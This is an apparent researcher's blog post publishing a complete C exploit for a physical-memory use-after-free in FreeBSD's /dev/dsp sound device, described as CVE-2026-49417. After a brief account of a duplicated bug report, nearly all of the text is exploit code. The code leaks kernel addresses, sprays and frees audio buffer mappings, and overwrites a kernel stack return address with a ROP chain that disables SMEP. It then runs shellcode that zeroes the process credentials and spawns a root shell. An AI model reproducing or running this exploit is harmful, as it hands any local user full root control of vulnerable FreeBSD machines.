0.5-day exploit for CVE-2026-49417.
I found a physical memory UAF in /dev/dsp of FreeBSD, which is available from all users in default config. I exploited it and proved lpe is reachable in around 6/9 14:00PM UTC, after a short sleep, unfortunately the patch has merged to remote repository few hours later.
So my report was duplicated. However, I have a completely LPE exploit that proves any user-to-root privilege escalation, I decided to explain and publish my exploit in my blog.
Exploit
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/soundcard.h>
#include <sys/linker.h>
#include <sys/thr.h>
#include <pthread.h>
#include <signal.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <time.h>
#define SYSCHK(x) ({ \
typeof(x) __res = (x); \
if (__res == (typeof(x))-1) { \
error("%s: %s\n", "SYSCHK(" #x ")", strerror(errno)); \
exit(1); \
} \
__res; \
})
#define info(fmt, ...) printf("[*] " fmt "\n", ##__VA_ARGS__);
#define success(fmt, ...) printf("[+] " fmt "\n", ##__VA_ARGS__);
#define error(fmt, ...) printf("[-] " fmt "\n", ##__VA_ARGS__);
#define warning(fmt, ...) printf("[!] " fmt "\n", ##__VA_ARGS__);
#define hl(x) printf("[#] " #x " = 0x%lx\n",(unsigned long)x);
#define rep(X,Y) for (int X = 0;X < (Y);++X)
#define drep(X,Y) for (unsigned long X = 0;X < (Y);X+=4)
#define qrep(X,Y) for (unsigned long X = 0;X < (Y);X+=8)
#define dqrep(X,Y) for (unsigned long X = 0;X < (Y);X+=16)
#define irep(X) for (int X = 0;;++X)
#define rrep(X,Y) for (int X = int(Y)-1;X >=0;--X)
#define range(X,Y,Z) for (int X = Y;X < Z;X++)
#define __DBG__ _dbg(__FILE__, __LINE__);
void _dbg(const char *file, int line) {
info("dbg @ %s:%d", file,line);
getchar();
}
#define __CHK__(x) _chk( __FILE__, __LINE__, #x,x);
void _chk(const char *msg, int line, const char *code, int cond) {
if (cond) { success("[OK] %s @ %s:%d",code,msg,line); }
else { error("[FAIL] %s @ %s:%d",code,msg,line); abort(); }
}
#define DEVPATH "/dev/dsp"
#define FILL 0x4c50455250445344ULL /* "DSPPREPL" */
#define KERN_BASE_STATIC 0xffffffff80200000ULL
#define G_POP_RAX_RET_OFF (0xffffffff810779feULL - KERN_BASE_STATIC)
#define G_MOV_CR4_RAX_RET_OFF (0xffffffff803870edULL - KERN_BASE_STATIC) /* mov rax,%cr4; ret */
#define G_XOR_EAX_RET_OFF (0xffffffff803d666bULL - KERN_BASE_STATIC)
#define CR4_ORIG 0x3506e0ULL
#define CR4_NOSMEP (CR4_ORIG & ~0x100000ULL)
struct stale_map {
volatile uint8_t *p;
size_t len; int fd;
};
struct worker {
long tid;
uint64_t sec, nsec;
void *stack;
size_t stack_sz;
int target;
};
static volatile int go_pre, go_tgt;
static void wr64(volatile void *p, uint64_t v){ volatile uint8_t *q=p; for(int i=0;i<8;i++) q[i]=(uint8_t)(v>>(8*i)); }
static uint64_t rd64(const volatile void *p){ const volatile uint8_t *q=p; uint64_t v=0; for(int i=7;i>=0;i--) v=(v<<8)|q[i]; return v; }
static int setfrag(int fd, unsigned frags, unsigned fraglog){ int arg=(int)((frags<<16)|fraglog); return ioctl(fd,SNDCTL_DSP_SETFRAGMENT,&arg); }
static unsigned long kernel_base(unsigned long *sz){
struct kld_file_stat st;
memset(&st,0,sizeof(st));
st.version=sizeof(st);
SYSCHK(kldstat(1,&st));
if(sz)*sz=st.size;
return (unsigned long)st.address;
}
static unsigned long ksym(const char *name){
struct kld_sym_lookup k;
memset(&k,0,sizeof(k));
k.version=sizeof(k);
k.symname=(char*)name;
SYSCHK(kldsym(0,KLDSYM_LOOKUP,&k)<0);
return (unsigned long)k.symvalue;
}
static int in_text(uint64_t v, unsigned long b, unsigned long s){ return v>=b && v<b+s; }
static int exact_idx(struct worker *w, int n, uint64_t v){ for(int i=0;i<n;i++) if(w[i].target && v==w[i].nsec) return i; return -1; }
static void sigusr1(int signo){ (void)signo; }
static void *sleeper(void *arg){
struct worker *w=arg;
long tid=0;
thr_self(&tid);
w->tid=tid;
if (w->target) {
w->sec = 8;
w->nsec = 0x12345000ULL + (uint64_t)((tid & 0xffff) << 4);
} else {
w->sec = 0x100000000ULL + (uint64_t)(tid & 0xfffff);
w->nsec = 0x12345000ULL + (uint64_t)((tid & 0xffff) << 4);
}
while(!(w->target ? go_tgt : go_pre))
sched_yield();
struct timespec ts;
ts.tv_sec=(time_t)w->sec;
ts.tv_nsec=(long)w->nsec;
nanosleep(&ts, NULL);
return NULL;
}
static int map_one_hold(struct stale_map *m){
m->fd=SYSCHK(open(DEVPATH,O_RDWR));
(void)setfrag(m->fd,32,12);
m->len=128*1024;
audio_buf_info bi;
memset(&bi,0,sizeof(bi));
SYSCHK(ioctl(m->fd,SNDCTL_DSP_GETOSPACE,&bi));
if(bi.fragstotal>0 && bi.fragsize>0) m->len=(size_t)bi.fragstotal*(size_t)bi.fragsize;
m->p=SYSCHK(mmap(NULL,m->len,PROT_READ|PROT_WRITE,MAP_SHARED,m->fd,0));
for(size_t o=0;o+8<=m->len;o+=8) wr64(m->p+o,FILL);
return 0;
}
static void prep_stack(struct worker *w){
size_t ss=128*1024;
void *st=SYSCHK(mmap(NULL,ss,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANON,-1,0));
for(size_t o=0;o<ss;o+=4096) ((volatile char*)st)[o]=0x41;
((volatile char*)st)[ss-1]=0x42;
w->stack=st;
w->stack_sz=ss;
}
static int mkthread(pthread_t *pt, struct worker *w){
pthread_attr_t a;
pthread_attr_init(&a);
pthread_attr_setstack(&a,w->stack,w->stack_sz);
int e=pthread_create(pt,&a,sleeper,w);
pthread_attr_destroy(&a);
if(e){ errno=e; return -1; }
return 0;
}
static void put64(uint8_t *p, uint64_t v){ for(int i=0;i<8;i++) p[i]=(uint8_t)(v>>(8*i)); }
static void *make_shellcode(uint64_t mov_cr4_ret, uint64_t xor_eax_ret, uint64_t orig_ret){
uint8_t sc[256]; size_t n=0;
#define B(x) sc[n++]=(uint8_t)(x)
#define Q(x) do{ put64(sc+n,(uint64_t)(x)); n+=8; }while(0)
/* mov %gs:0,%rax ; current struct thread * */
uint8_t a1[]={0x65,0x48,0x8b,0x04,0x25,0,0,0,0}; memcpy(sc+n,a1,sizeof(a1)); n+=sizeof(a1);
uint8_t a2[]={0x48,0x8b,0x58,0x08, /* mov 0x8(rax),rbx ; td_proc */
0x48,0x8b,0x4b,0x40, /* mov 0x40(rbx),rcx ; p_ucred */
0x31,0xd2, /* xor edx,edx */
0x89,0x51,0x64,0x89,0x51,0x68,0x89,0x51,0x6c,
0x89,0x51,0x70,0x89,0x51,0x74,0x89,0x51,0x78,
0xc7,0x41,0x60,0x01,0,0,0, /* cr_ngroups = 1 */
0x89,0x91,0xc4,0,0,0}; /* cr_smallgroups[0] = 0 */
memcpy(sc+n,a2,sizeof(a2)); n+=sizeof(a2);
B(0x48); B(0x83); B(0xec); B(0x18); /* sub $0x18,%rsp: restore normal caller rsp after mini-ROP */
B(0x48); B(0xb8); Q(CR4_ORIG); /* movabs orig_cr4,rax */
B(0x49); B(0xbb); Q(mov_cr4_ret); /* movabs mov_cr4_ret,%r11 */
B(0x49); B(0xba); Q(orig_ret); /* movabs orig_ret,%r10 */
B(0x41); B(0x52); /* push %r10 */
B(0x49); B(0xba); Q(xor_eax_ret); /* movabs xor_eax_ret,%r10 */
B(0x41); B(0x52); /* push %r10 */
B(0x41); B(0xff); B(0xe3); /* jmp *%r11 */
#undef B
#undef Q
void *shellcode=SYSCHK(mmap(NULL,4096,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_ANON,-1,0));
memcpy(shellcode,sc,n);
hl(shellcode);
return shellcode;
}
#define N_KERN_STK 1200
#define N_SPRAY 512
int main(int argc, char **argv){
struct sigaction sa;
memset(&sa,0,sizeof(sa));
sa.sa_handler=sigusr1;
sigaction(SIGUSR1,&sa,NULL);
unsigned long ksz=0;
unsigned long kbase=kernel_base(&ksz);
unsigned long sysn=ksym("sys_nanosleep");
hl(kbase);
hl(sysn);
unsigned long pop_rax=kbase+(0xffffffff810779feULL - 0xffffffff80200000ULL);
unsigned long mov_cr4=kbase+(0xffffffff803870edULL - 0xffffffff80200000ULL);
unsigned long xor_eax=kbase+(0xffffffff803d666bULL - 0xffffffff80200000ULL);
unsigned long orig_ret=sysn+0x3b;
hl(pop_rax);
hl(mov_cr4);
hl(xor_eax);
hl(orig_ret);
void *shellcode=make_shellcode(mov_cr4, xor_eax, orig_ret);
pthread_t *pt=calloc(N_KERN_STK,sizeof(*pt));
struct worker *wk=calloc(N_KERN_STK,sizeof(*wk));
struct stale_map *maps=calloc(N_SPRAY,sizeof(*maps));
rep(i,N_KERN_STK) prep_stack(&wk[i]);
rep(i,N_SPRAY){ map_one_hold(&maps[i]); }
rep(i,N_SPRAY){ close(maps[i].fd); }
rep(i,N_KERN_STK){
wk[i].target=1;
SYSCHK(mkthread(&pt[i],&wk[i]));
}
go_tgt=1;
sleep(2);
int target_wi=-1;
volatile uint8_t *slot=NULL;
for(int mi=0;mi<N_SPRAY;mi++) {
for(size_t pg=0;pg+4096<=maps[mi].len;pg+=4096){
int exact=0,text=0; for(size_t o=0;o<4096;o+=8){ uint64_t v=rd64(maps[mi].p+pg+o); if(exact_idx(wk,N_KERN_STK,v)>=0) exact++; if(in_text(v,kbase,ksz)) text++; }
if(!exact || !text) continue;
int wi=-1; for(size_t o=0;o<4096;o+=8){ int t=exact_idx(wk,N_KERN_STK,rd64(maps[mi].p+pg+o)); if(t>=0){ wi=t; break; } }
for(size_t o=0;o+32<4096;o+=8){
if(rd64(maps[mi].p+pg+o)==orig_ret){
slot=maps[mi].p+pg+o; target_wi=wi;
// build rop
wr64(slot+0, pop_rax);
wr64(slot+8, CR4_NOSMEP);
wr64(slot+16, mov_cr4);
wr64(slot+24, (uint64_t)(uintptr_t)shellcode);
goto win;
}
}
}
}
error("fail");
exit(1);
win:
(void)target_wi;
irep(i){
usleep(100000);
if(geteuid()==0){
__CHK__(getuid()==0)
__CHK__(geteuid()==0)
char *argv[] = { "/bin/sh", NULL };
execv(argv[0], argv);
return 0;
}
}
}